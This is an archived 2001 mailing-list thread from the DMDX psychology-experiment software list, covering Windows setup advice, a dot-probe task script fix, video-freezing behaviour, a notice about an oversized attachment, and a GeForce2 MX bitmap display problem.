DMDX installation In-reply-to: <5.1.0.14.2.20010716182558.009e9cf0@psy1.psych.arizona.edu> References: <5.1.0.14.2.20010716174119.03272390@darwin.psy.fsu.edu> Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Apologies for disrupting the list. I plead incompetance. These recommendations are gratefully appreciated. Best regards, Tom. On 16 Jul 01, at 18:27, j.c.f. wrote: > At 05:47 PM 7/16/01 -0400, you wrote: > >Tom, > > > >I recommend running Windows 98 or ME rather than NT... > > Not to mention the fact that features that DMDX requires are not > available for NT, hacked up DirectX 6 installs notwithstanding. > > > -jonathan (j.c.f.) > > /""\\ > \\ / > X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL > / \\ > > That which is everybody's business is nobody's business. > - Izaak Walton (1593-1683) > The Compleat Angler, 1655 > > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email to > be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== Human Factors Section A18 School of Psychology University of Leeds, Leeds LS2 9JT, UK Phone +44 113 233 5724 (School Office) Fax +44 113 233 5749 tomc@psychology.leeds.ac.uk http://www.psyc.leeds.ac.uk/staff/tomc/index.htm >From DMDX-owner@psy1.psych.arizona.edu Tue Jul 17 09:19:28 2001 Received: from breaker.dakotacom.net (breaker.dakotacom.net [208.235.160.21]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with SMTP id JAA32169 for ; Tue, 17 Jul 2001 09:19:07 -0700 Received: (qmail 18312 invoked from network); 17 Jul 2001 16:19:03 -0000 Received: from unknown (HELO anybodyi.u.arizona.edu) (150.135.175.18) by breaker.dakotacom.net with SMTP; 17 Jul 2001 16:19:03 -0000 Message-Id: <5.1.0.14.2.20010717091047.009f5a30@psy1.psych.arizona.edu> Date: Tue, 17 Jul 2001 09:19:56 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: Freezing Video In-Reply-To: <000301c10e99$df189580$92fd3fc1@mrccbu.cam.ac.uk> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 09:24 AM 7/17/01 +0100, you wrote: >I've kinda cracked the freezing video requirement. For some reason, the code >below allows a video to be played and then keeps the last frame on screen >until the subject responds... >does not work all the time though (a quirk of my hardware?). > > f10 m110 zk> 640,480,480,16,0> ""+1""> ""+1""> < mpr ""+2""> < mpr ""+3""> < mpr ""+4""> < mpr ""+5""> < mpr ""+6""> < mpr >""+7""> > >+1 * ""pe_f"" / / ""Fear""; >0 L ""The End"" ; As I think about this issue a bit more I recall it's actually a little difficult for DMDX to determine when a video is going to stop playing so there is a bit of chicanery going on when a video stops playing and DMDX returns to normal frame display. My guess is you are somehow managing to snot that chicanery. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ That which is everybody's business is nobody's business. - Izaak Walton (1593-1683) The Compleat Angler, 1655 >From DMDX-owner@psy1.psych.arizona.edu Tue Jul 17 14:43:15 2001 Received: from phobos.email.Arizona.EDU (root@phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id OAA00308 for ; Tue, 17 Jul 2001 14:40:00 -0700 Received: from kif.u.arizona.edu (128.196.98.27) by phobos.email.Arizona.EDU (5.1.056) id 3B54542000009D92 for DMDX@psy1.psych.arizona.edu; Tue, 17 Jul 2001 14:39:58 -0700 Message-Id: <4.3.1.1.20010717100553.00cdc270@kforster.inbox.email.arizona.edu> Date: Tue, 17 Jul 2001 14:40:36 -0700 To: DMDX@psy1.psych.arizona.edu From: Kenneth Forster Subject: [DMDX] Apologies to list subscribers In-Reply-To: <000501c10aae$db3d4ee0$92fd3fc1@mrccbu.cam.ac.uk> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Apologies to DMDX List subscribers if you received a 6 MB attachment from . The offending file is called ""directx60nt.exe"". Please note the following: 1. Any message you send with the address goes to *everyone* on the list. 2. You should avoid attachments (especially 6 MB attachments), since this puts a lot of people over their quota. Large attachments also run a significant chance of crashing the list server. 3. The *only* things you should include in your posting are relevant extracts from your .rtf file, or copies of error messages from DMDX. These should go in the body of the message. 4. If it is absolutely critical that you get advice about a larger file (e.g., a .wav file), then send it to a specific person, *not* the list. Also, ask that person whether they need to see the file before you send it. --Ken Forster >From DMDX-owner@psy1.psych.arizona.edu Wed Jul 18 00:30:35 2001 Received: from romarin.univ-aix.fr (romarin.univ-aix.fr [193.50.125.2]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id AAA01493 for ; Wed, 18 Jul 2001 00:27:31 -0700 Received: from localhost (ppp230.univ-aix.fr [193.50.126.230]) by romarin.univ-aix.fr (8.11.0/8.11.0) with SMTP id f6I7RO030943 for ; Wed, 18 Jul 2001 09:27:25 +0200 Message-ID: <000501c10f5d$a5fa3d20$0100007f@lpl.univaix.fr> From: ""Cheryl Frenck-Mestre"" To: References: <4.3.1.1.20010717100553.00cdc270@kforster.inbox.email.arizona.edu> Subject: [DMDX] Re: Apologies to list subscribers Date: Wed, 18 Jul 2001 09:45:42 +0200 MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Thanks for the info. Indeed that message plugged up the works! >From DMDX-owner@psy1.psych.arizona.edu Wed Jul 18 07:36:23 2001 Received: from mps3.leeds.ac.uk (sunserv5.leeds.ac.uk [129.11.16.35]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id HAA02397 for ; Wed, 18 Jul 2001 07:34:45 -0700 From: tomc@psychology.leeds.ac.uk Received: from psychology.leeds.ac.uk (psycho.leeds.ac.uk [129.11.244.14]) by mps3.leeds.ac.uk (8.11.1/8.11.1) with ESMTP id f6IEYgb25187; Wed, 18 Jul 2001 15:34:43 +0100 (BST) Message-Id: <200107181434.f6IEYgb25187@mps3.leeds.ac.uk> Received: from PSYC/SpoolDir by psychology.leeds.ac.uk (Mercury 1.46); 18 Jul 01 15:28:20 GMT Received: from SpoolDir by PSYC (Mercury 1.46); 18 Jul 01 15:27:58 GMT To: DMDX@psy1.psych.arizona.edu, ""John P. Kline"" Date: Wed, 18 Jul 2001 15:27:51 +0100 MIME-Version: 1.0 Content-type: text/plain; charset=ISO-8859-1 Subject: [DMDX] Self paced dot probe Content-Transfer-Encoding: 8bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Dear Sir/Madam, I've been trying to set up a dot-probe task and am having a problem with using DMDX. Please would someone be so kind as to shed some light on this problem? What I'm trying to do is let any response on one trial to cause the next trial to begin, whilst still measuring RTs. So a fixation cross is presented centrally for c.500 msec, followed by two images to the left and right of the fixation cross for c.33 or c.100 msec. These images are then replaced by two mask images and then both of the mask images disappear. One of the mask images is replaced by a probe image (either an upward or a downward arrow). What I'm aiming to do is let the probe image stay on the screen until a response is made (either the key t (upward arrow) or g(downward arrow)). With and , as used below, one response allows the onset of the next trial and the next trial does not begin until a response has been made. However, the duration of the probe seems to inherit that of the mask image, when it is intended that the probe stay visible until a response is made. Also, RTs are replaced with 1.00 instead. Please would someone be so kind as to shed some light on this problem? The code is below. There is a second version at the very end that has had all the commands deleted so stimuli occur as text instead. I can provide .txt versions of files if this is easier. Best regards, Tom Campbell. 0 ""Press SPACEBAR or FOOTPEDAL to start""; +1/ �+�/""nm1.bmp"",""nm1.bmp""/�00001.bmp"",�00001.bmp""/*""up.bmp""/; -2/ �+�/""af1_3.bmp"",""af1_1.bmp""/�00001.bmp"",�00001.bmp""/*""down.bmp""/; +3/ �+�/""hm1_2.bmp"",""hm1_1.bmp""/�00001.bmp"",�00001.bmp""/*""up.bmp""/; -4/ �+�/""am1_2.bmp"",""am1_1.bmp""/�00001.bmp"",�00001.bmp""/*""down.bmp""/; +5/ �+�/""nf1.bmp"",""nf1.bmp""/�00001.bmp"",�00001.bmp""/*""up.bmp""/; -6/ �+�/""hf1_2.bmp"",""hf1_1.bmp""/�00001.bmp"",�00001.bmp""/*""down.bmp""/; +7/ �+�/""hf1_3.bmp"",""hf1_1.bmp""/�00001.bmp"",�00001.bmp""/*""up.bmp""/; -8/ �+�/""am1_4.bmp"",""am1_1.bmp""/�00001.bmp"",�00001.bmp""/*""down.bmp""/; -9/ �+�/""nm1.bmp"",""nm1.bmp""/�00001.bmp"",�00001.bmp""/*""down.bmp""/; -10/ �+�/""nf1.bmp"",""nf1.bmp""/�00001.bmp"",�00001.bmp""/*""down.bmp""/; +11/ �+�/""af1_4.bmp"",""af1_1.bmp""/�00001.bmp"",�00001.bmp""/*""up.bmp""/; +12/ �+�/""af1_2.bmp"",""af1_1.bmp""/�00001.bmp"",�00001.bmp""/*""up.bmp""/; +13/ �+�/""hm1_4.bmp"",""hm1_1.bmp""/�00001.bmp"",�00001.bmp""/*""up.bmp""/; +14/ �+�/""nm1.bmp"",""nm1.bmp""/�00001.bmp"",�00001.bmp""/*""up.bmp""/; -15/ �+�/""nf1.bmp"",""nf1.bmp""/�00001.bmp"",�00001.bmp""/*""down.bmp""/; -16/ �+�/""hm1_3.bmp"",""hm1_1.bmp""/�00001.bmp"",�00001.bmp""/*""down.bmp""/; -17/ �+�/""hf1_4.bmp"",""hf1_1.bmp""/�00001.bmp"",�00001.bmp""/*""down.bmp""/; +18/ �+�/""am1_3.bmp"",""am1_1.bmp""/�00001.bmp"",�00001.bmp""/*""up.bmp""/; 0 ""The END! Thank you for taking part.""; 0 ""Press SPACEBAR or FOOTPEDAL to start""; +1/ �+�/""nm1.bmp"",""nm1.bmp""/�00001.bmp"",�00001.bmp""/*""up.bmp""/; -2/ �+�/""af1_3.bmp"",""af1_1.bmp""/�00001.bmp"",�00001.bmp""/*""down.bmp""/; +3/ �+�/""hm1_2.bmp"",""hm1_1.bmp""/�00001.bmp"",�00001.bmp""/*""up.bmp""/; -4/ �+�/""am1_2.bmp"",""am1_1.bmp""/�00001.bmp"",�00001.bmp""/*""down.bmp""/; +5/ �+�/""nf1.bmp"",""nf1.bmp""/�00001.bmp"",�00001.bmp""/*""up.bmp""/; -6/ �+�/""hf1_2.bmp"",""hf1_1.bmp""/�00001.bmp"",�00001.bmp""/*""down.bmp""/; +7/ �+�/""hf1_3.bmp"",""hf1_1.bmp""/�00001.bmp"",�00001.bmp""/*""up.bmp""/; -8/ �+�/""am1_4.bmp"",""am1_1.bmp""/�00001.bmp"",�00001.bmp""/*""down.bmp""/; -9/ �+�/""nm1.bmp"",""nm1.bmp""/�00001.bmp"",�00001.bmp""/*""down.bmp""/; -10/ �+�/""nf1.bmp"",""nf1.bmp""/�00001.bmp"",�00001.bmp""/*""down.bmp""/; +11/ �+�/""af1_4.bmp"",""af1_1.bmp""/�00001.bmp"",�00001.bmp""/*""up.bmp""/; +12/ �+�/""af1_2.bmp"",""af1_1.bmp""/�00001.bmp"",�00001.bmp""/*""up.bmp""/; +13/ �+�/""hm1_4.bmp"",""hm1_1.bmp""/�00001.bmp"",�00001.bmp""/*""up.bmp""/; +14/ �+�/""nm1.bmp"",""nm1.bmp""/�00001.bmp"",�00001.bmp""/*""up.bmp""/; -15/ �+�/""nf1.bmp"",""nf1.bmp""/�00001.bmp"",�00001.bmp""/*""down.bmp""/; -16/ �+�/""hm1_3.bmp"",""hm1_1.bmp""/�00001.bmp"",�00001.bmp""/*""down.bmp""/; -17/ �+�/""hf1_4.bmp"",""hf1_1.bmp""/�00001.bmp"",�00001.bmp""/*""down.bmp""/; +18/ �+�/""am1_3.bmp"",""am1_1.bmp""/�00001.bmp"",�00001.bmp""/*""up.bmp""/; 0 ""The END! Thank you for taking part.""; Human Factors Section A18 School of Psychology University of Leeds, Leeds LS2 9JT, UK Phone +44 113 233 5724 (School Office) Fax +44 113 233 5749 tomc@psychology.leeds.ac.uk http://www.psyc.leeds.ac.uk/staff/tomc/index.htm >From DMDX-owner@psy1.psych.arizona.edu Wed Jul 18 07:56:30 2001 Received: from mailhost.mrc-cbu.cam.ac.uk (sirius.mrc-cbu.cam.ac.uk [192.153.213.178]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id HAA02484 for ; Wed, 18 Jul 2001 07:55:01 -0700 Received: from pc057.mrc-cbu.cam.ac.uk by mailhost.mrc-cbu.cam.ac.uk with Sendmail (8.9.3/V3080601); Wed, 18 Jul 2001 15:54:44 +0100 (BST) Message-Id: <5.0.2.1.0.20010718154512.00a3a140@pophost.mrc-cbu.cam.ac.uk> Date: Wed, 18 Jul 2001 15:57:53 +0100 To: DMDX@psy1.psych.arizona.edu From: Mike Ford Subject: [DMDX] Re: geForce2 MX Cc: maarten van Casteren , matt Davis , iain Morrison In-Reply-To: <5.1.0.14.2.20010711093707.009d1910@psy1.psych.arizona.edu> References: <5.0.2.1.0.20010711163230.026aac30@pophost.mrc-cbu.cam.ac.u k> <5.1.0.14.2.20010606182611.009e22d0@psy1.psych.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Hi. I have discovered a problem with the geForce2 MX card, which is not solved by using the -buffers 4 extension to DMDX.exe but to no effect. When displaying a bitmap image it wraps the image i.e. it splits the image displays the left half the image on the right hand side and vice versa. This problem happened with the old NVIDIA cards but was solved by downloading the NVIDIA Detonator reference driver. However with this does not seem to solve the problem for the new geForce2 MX card. Has anyone else had this problem? - Mike >From DMDX-owner@psy1.psych.arizona.edu Wed Jul 18 09:25:03 2001 Received: from mps3.leeds.ac.uk (sunserv5.leeds.ac.uk [129.11.16.35]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id JAA02729 for ; Wed, 18 Jul 2001 09:23:23 -0700 From: tomc@psychology.leeds.ac.uk Received: from psychology.leeds.ac.uk (psycho.leeds.ac.uk [129.11.244.14]) by mps3.leeds.ac.uk (8.11.1/8.11.1) with ESMTP id f6IGNLb13534; Wed, 18 Jul 2001 17:23:22 +0100 (BST) Message-Id: <200107181623.f6IGNLb13534@mps3.leeds.ac.uk> Received: from PSYC/SpoolDir by psychology.leeds.ac.uk (Mercury 1.46); 18 Jul 01 17:17:00 GMT Received: from SpoolDir by PSYC (Mercury 1.46); 18 Jul 01 17:16:35 GMT To: DMDX@psy1.psych.arizona.edu, ""John P. Kline"" Date: Wed, 18 Jul 2001 17:16:32 +0100 MIME-Version: 1.0 Content-type: text/plain; charset=ISO-8859-1 Subject: [DMDX] Re: Self paced dot probe In-reply-to: <200107181434.f6IEYgb25187@mps3.leeds.ac.uk> Content-Transfer-Encoding: 8bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list This does the job now: 0 ""Press SPACEBAR or FOOTPEDAL to start""; +1/ �+�/""nm1.bmp"",""nm1.bmp""/�00001.bmp"",�00001.bmp""//! *""up.bmp""; -2/ �+�/""af1_3.bmp"",""af1_1.bmp""/�00001.bmp"",�00001.bmp""//! *""down.bmp""; +3/ �+�/""hm1_2.bmp"",""hm1_1.bmp""/�00001.bmp"",�00001.bmp""//! *""up.bmp""; -4/ �+�/""am1_2.bmp"",""am1_1.bmp""/�00001.bmp"",�00001.bmp""//! *""down.bmp""; +5/ �+�/""nf1.bmp"",""nf1.bmp""/�00001.bmp"",�00001.bmp""//! *""up.bmp""; -6/ �+�/""hf1_2.bmp"",""hf1_1.bmp""/�00001.bmp"",�00001.bmp""//! *""down.bmp""; +7/ �+�/""hf1_3.bmp"",""hf1_1.bmp""/�00001.bmp"",�00001.bmp""//! *""up.bmp""; -8/ �+�/""am1_4.bmp"",""am1_1.bmp""/�00001.bmp"",�00001.bmp""//! *""down.bmp""; -9/ �+�/""nm1.bmp"",""nm1.bmp""/�00001.bmp"",�00001.bmp""//! *""down.bmp""; -10/ �+�/""nf1.bmp"",""nf1.bmp""/�00001.bmp"",�00001.bmp""//! *""down.bmp""; +11/ �+�/""af1_4.bmp"",""af1_1.bmp""/�00001.bmp"",�00001.bmp""//! *""up.bmp""; +12/ �+�/""af1_2.bmp"",""af1_1.bmp""/�00001.bmp"",�00001.bmp""//! *""up.bmp""; +13/ �+�/""hm1_4.bmp"",""hm1_1.bmp""/�00001.bmp"",�00001.bmp""//! *""up.bmp""; +14/ �+�/""nm1.bmp"",""nm1.bmp""/�00001.bmp"",�00001.bmp""//! *""up.bmp""; -15/ �+�/""nf1.bmp"",""nf1.bmp""/�00001.bmp"",�00001.bmp""//! *""down.bmp""; -16/ �+�/""hm1_3.bmp"",""hm1_1.bmp""/�00001.bmp"",�00001.bmp""//! *""down.bmp""; -17/ �+�/""hf1_4.bmp"",""hf1_1.bmp""/�00001.bmp"",�00001.bmp""//! *""down.bmp""; +18/ �+�/""am1_3.bmp"",""am1_1.bmp""/�00001.bmp"",�00001.bmp""//! *""up.bmp""; 0 ""The END! Thank you for taking part.""; On 18 Jul 01, at 15:27, tomc@psychology.leeds.ac.uk wrote: > > Dear Sir/Madam, > > I've been trying to set up a dot-probe task and am having a > problem with using DMDX. Please would someone be so kind as to > shed some light on this problem? What I'm trying to do is let any > response on one trial to cause the next trial to begin, whilst > still measuring RTs. > > So a fixation cross is presented centrally for c.500 msec, > followed by two images to the left and right of the fixation cross > for c.33 or c.100 msec. These images are then replaced by two mask > images and then both of the mask images disappear. One of the mask > images is replaced by a probe image (either an upward or a > downward arrow). What I'm aiming to do is let the probe image stay > on the screen until a response is made (either the key t (upward > arrow) or g(downward arrow)). > > With and , as used below, one response allows the > onset of the next trial and the next trial does not begin until a > response has been made. However, the duration of the probe seems > to inherit that of the mask image, when it is intended that the > probe stay visible until a response is made. Also, RTs are > replaced with 1.00 instead. Please would someone be so kind as to > shed some light on this problem? > > The code is below. There is a second version at the very end that > has had all the commands deleted so stimuli occur as text > instead. I can provide .txt versions of files if this is easier. > > Best regards, > > Tom Campbell. > > > > > > 0 ""Press SPACEBAR or FOOTPEDAL to start""; > +1/ �+�/""nm1.bmp"", 300>""nm1.bmp""/�00001.bmp"", 300>�00001.bmp""/*""up.bmp""/; -2/ 600,400> �+�/""af1_3.bmp"", 300>""af1_1.bmp""/�00001.bmp"", 300>�00001.bmp""/*""down.bmp""/; +3/ 600,400> �+�/""hm1_2.bmp"", 300>""hm1_1.bmp""/�00001.bmp"", 300>�00001.bmp""/*""up.bmp""/; -4/ 600,400> �+�/""am1_2.bmp"", 300>""am1_1.bmp""/�00001.bmp"", 300>�00001.bmp""/*""down.bmp""/; +5/ 600,400> �+�/""nf1.bmp"", 300>""nf1.bmp""/�00001.bmp"", 300>�00001.bmp""/*""up.bmp""/; -6/ 600,400> �+�/""hf1_2.bmp"", 300>""hf1_1.bmp""/�00001.bmp"", 300>�00001.bmp""/*""down.bmp""/; +7/ 600,400> �+�/""hf1_3.bmp"", 300>""hf1_1.bmp""/�00001.bmp"", 300>�00001.bmp""/*""up.bmp""/; -8/ 600,400> �+�/""am1_4.bmp"", 300>""am1_1.bmp""/�00001.bmp"", 300>�00001.bmp""/*""down.bmp""/; -9/ 600,400> �+�/""nm1.bmp"", 300>""nm1.bmp""/�00001.bmp"", 300>�00001.bmp""/*""down.bmp""/; -10/ 600,400> �+�/""nf1.bmp"", 300>""nf1.bmp""/�00001.bmp"", 300>�00001.bmp""/*""down.bmp""/; +11/ 600,400> �+�/""af1_4.bmp"", 300>""af1_1.bmp""/�00001.bmp"", 300>�00001.bmp""/*""up.bmp""/; +12/ 600,400> �+�/""af1_2.bmp"", 300>""af1_1.bmp""/�00001.bmp"", 300>�00001.bmp""/*""up.bmp""/; +13/ 600,400> �+�/""hm1_4.bmp"", 300>""hm1_1.bmp""/�00001.bmp"", 300>�00001.bmp""/*""up.bmp""/; +14/ 600,400> �+�/""nm1.bmp"", 300>""nm1.bmp""/�00001.bmp"", 300>�00001.bmp""/*""up.bmp""/; -15/ 600,400> �+�/""nf1.bmp"", 300>""nf1.bmp""/�00001.bmp"", 300>�00001.bmp""/*""down.bmp""/; -16/ 600,400> �+�/""hm1_3.bmp"", 300>""hm1_1.bmp""/�00001.bmp"", 300>�00001.bmp""/*""down.bmp""/; -17/ 600,400> �+�/""hf1_4.bmp"", 300>""hf1_1.bmp""/�00001.bmp"", 300>�00001.bmp""/*""down.bmp""/; +18/ 600,400> �+�/""am1_3.bmp"", 300>""am1_1.bmp""/�00001.bmp"", 300>�00001.bmp""/*""up.bmp""/; 0 ""The END! Thank > you for taking part.""; > > > > > > > 0 ""Press SPACEBAR or FOOTPEDAL to start""; > +1/ �+�/""nm1.bmp"", 300>""nm1.bmp""/�00001.bmp"", 300>�00001.bmp""/*""up.bmp""/; > -2/ �+�/""af1_3.bmp"", 300>""af1_1.bmp""/�00001.bmp"", 300>�00001.bmp""/*""down.bmp""/; +3/ > �+�/""hm1_2.bmp"",""hm1_1.bmp""/ 300, 300>�00001.bmp"",�00001.bmp""/*""up.bmp""/; > -4/ �+�/""am1_2.bmp"", 300>""am1_1.bmp""/�00001.bmp"", 300>�00001.bmp""/*""down.bmp""/; +5/ > �+�/""nf1.bmp"",""nf1.bmp""/ 300>�00001.bmp"",�00001.bmp""/*""up.bmp""/; > -6/ �+�/""hf1_2.bmp"", 300>""hf1_1.bmp""/�00001.bmp"", 300>�00001.bmp""/*""down.bmp""/; +7/ > �+�/""hf1_3.bmp"",""hf1_1.bmp""/ 300, 300>�00001.bmp"",�00001.bmp""/*""up.bmp""/; > -8/ �+�/""am1_4.bmp"", 300>""am1_1.bmp""/�00001.bmp"", 300>�00001.bmp""/*""down.bmp""/; -9/ > �+�/""nm1.bmp"",""nm1.bmp""/ 300>�00001.bmp"",�00001.bmp""/*""down.bmp""/; > -10/ �+�/""nf1.bmp"", 300>""nf1.bmp""/�00001.bmp"", 300>�00001.bmp""/*""down.bmp""/; +11/ > �+�/""af1_4.bmp"",""af1_1.bmp""/ 300, 300>�00001.bmp"",�00001.bmp""/*""up.bmp""/; > +12/ �+�/""af1_2.bmp"", 300>""af1_1.bmp""/�00001.bmp"", 300>�00001.bmp""/*""up.bmp""/; +13/ > �+�/""hm1_4.bmp"",""hm1_1.bmp""/ 300, 300>�00001.bmp"",�00001.bmp""/*""up.bmp""/; > +14/ �+�/""nm1.bmp"", 300>""nm1.bmp""/�00001.bmp"", 300>�00001.bmp""/*""up.bmp""/; -15/ > �+�/""nf1.bmp"",""nf1.bmp""/ 300>�00001.bmp"",�00001.bmp""/*""down.bmp""/; > -16/ �+�/""hm1_3.bmp"", 300>""hm1_1.bmp""/�00001.bmp"", 300>�00001.bmp""/*""down.bmp""/; -17/ > �+�/""hf1_4.bmp"",""hf1_1.bmp""/ 300, 300>�00001.bmp"",�00001.bmp""/* 700,300>""down.bmp""/; +18/ �+�/ 300,300>""am1_3.bmp"",""am1_1.bmp""/ 300>�00001.bmp"",�00001.bmp""/*""up.bmp""/; 0 > ""The END! Thank you for taking part.""; > > Human Factors Section A18 > > School of Psychology > > University of Leeds, Leeds LS2 9JT, UK > > Phone +44 113 233 5724 (School Office) > > Fax +44 113 233 5749 > > tomc@psychology.leeds.ac.uk > > http://www.psyc.leeds.ac.uk/staff/tomc/index.htm > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email to > be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== Human Factors Section A18 School of Psychology University of Leeds, Leeds LS2 9JT, UK Phone +44 113 233 5724 (School Office) Fax +44 113 233 5749 tomc@psychology.leeds.ac.uk http://www.psyc.leeds.ac.uk/staff/tomc/index.htm >From DMDX-owner@psy1.psych.arizona.edu Wed Jul 18 09:33:01 2001 Received: from breaker.dakotacom.net (breaker.dakotacom.net [208.235.160.21]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with SMTP id JAA02785 for ; Wed, 18 Jul 2001 09:31:33 -0700 Received: (qmail 8485 invoked from network); 18 Jul 2001 16:31:29 -0000 Received: from unknown (HELO anybodyi.u.arizona.edu) (150.135.175.18) by breaker.dakotacom.net with SMTP; 18 Jul 2001 16:31:29 -0000 Message-Id: <5.1.0.14.2.20010718093119.009e5e10@psy1.psych.arizona.edu> Date: Wed, 18 Jul 2001 09:32:23 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: geForce2 MX In-Reply-To: <5.0.2.1.0.20010718154512.00a3a140@pophost.mrc-cbu.cam.ac.u k> References: <5.1.0.14.2.20010711093707.009d1910@psy1.psych.arizona.edu> <5.0.2.1.0.20010711163230.026aac30@pophost.mrc-cbu.cam.ac.u k> <5.1.0.14.2.20010606182611.009e22d0@psy1.psych.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 03:57 PM 7/18/01 +0100, you wrote: >Hi. I have discovered a problem with the geForce2 MX card, which is not >solved by using the -buffers 4 extension to DMDX.exe but to no effect. > >When displaying a bitmap image it wraps the image i.e. it splits the image >displays the left half the image on the right hand side and vice >versa. This problem happened with the old NVIDIA cards but was solved by >downloading the NVIDIA Detonator reference driver. However with this does >not seem to solve the problem for the new geForce2 MX card. > >Has anyone else had this problem? Nope, that's a new one on me. If you care to send the bitmap to me (jforster@u.arizona.edu) I'll see what it does on our machines. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ That which is everybody's business is nobody's business. - Izaak Walton (1593-1683) The Compleat Angler, 1655 >From DMDX-owner@psy1.psych.arizona.edu Wed Jul 18 09:51:17 2001 Received: from breaker.dakotacom.net (breaker.dakotacom.net [208.235.160.21]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with SMTP id JAA02909 for ; Wed, 18 Jul 2001 09:51:11 -0700 Received: (qmail 21090 invoked from network); 18 Jul 2001 16:51:07 -0000 Received: from unknown (HELO anybodyi.u.arizona.edu) (150.135.175.18) by breaker.dakotacom.net with SMTP; 18 Jul 2001 16:51:07 -0000 Message-Id: <5.1.0.14.2.20010718094428.009f2920@psy1.psych.arizona.edu> Date: Wed, 18 Jul 2001 09:52:00 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: geForce2 MX In-Reply-To: <5.1.0.14.2.20010718093119.009e5e10@psy1.psych.arizona.edu> References: <5.0.2.1.0.20010718154512.00a3a140@pophost.mrc-cbu.cam.ac.u k> <5.1.0.14.2.20010711093707.009d1910@psy1.psych.arizona.edu> <5.0.2.1.0.20010711163230.026aac30@pophost.mrc-cbu.cam.ac.u k> <5.1.0.14.2.20010606182611.009e22d0@psy1.psych.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 09:32 AM 7/18/01 -0700, you wrote: >At 03:57 PM 7/18/01 +0100, you wrote: >>Hi. I have discovered a problem with the geForce2 MX card, which is not >>solved by using the -buffers 4 extension to DMDX.exe but to no effect. >> >>When displaying a bitmap image it wraps the image i.e. it splits the >>image displays the left half the image on the right hand side and vice >>versa. This problem happened with the old NVIDIA cards but was solved by >>downloading the NVIDIA Detonator reference driver. However with this >>does not seem to solve the problem for the new geForce2 MX card. >> >>Has anyone else had this problem? > > Nope, that's a new one on me. If you care to send the bitmap to me > (jforster@u.arizona.edu) I'll see what it does on our machines. After thinking about it for a bit there are several things you can do. First is to try TimeDX's select video mode and tell it to display a bitmap instead of a font. Next thing to try is to use a few different display modes and see if things change. Last work around is to convert the bitmap to a .JPG and display that instead (in DMDX, TineDX can't read .JPG files). I really can't see how NVIDIA's drivers could be affecting the display of a bitmap, as the code that reads and prepares a bitmap all occurs in DMDX and has very little to do with any win32 drivers at all. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ That which is everybody's business is nobody's business. - Izaak Walton (1593-1683) The Compleat Angler, 1655 >From DMDX-owner@psy1.psych.arizona.edu Wed Jul 18 10:00:46 2001 Received: from mailhost.mrc-cbu.cam.ac.uk (sirius.mrc-cbu.cam.ac.uk [192.153.213.178]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id KAA02966 for ; Wed, 18 Jul 2001 10:00:34 -0700 Received: from pc057.mrc-cbu.cam.ac.uk by mailhost.mrc-cbu.cam.ac.uk with Sendmail (8.9.3/V3080601); Wed, 18 Jul 2001 18:00:31 +0100 (BST) Message-Id: <5.0.2.1.0.20010718180241.0244aaa0@pophost.mrc-cbu.cam.ac.uk> Date: Wed, 18 Jul 2001 18:03:39 +0100 To: DMDX@psy1.psych.arizona.edu From: Mike Ford Subject: [DMDX] Re: geForce2 MX In-Reply-To: <5.1.0.14.2.20010718094428.009f2920@psy1.psych.arizona.edu> References: <5.1.0.14.2.20010718093119.009e5e10@psy1.psych.arizona.edu> <5.0.2.1.0.20010718154512.00a3a140@pophost.mrc-cbu.cam.ac.u k> <5.1.0.14.2.20010711093707.009d1910@psy1.psych.arizona.edu> <5.0.2.1.0.20010711163230.026aac30@pophost.mrc-cbu.cam.ac.u k> 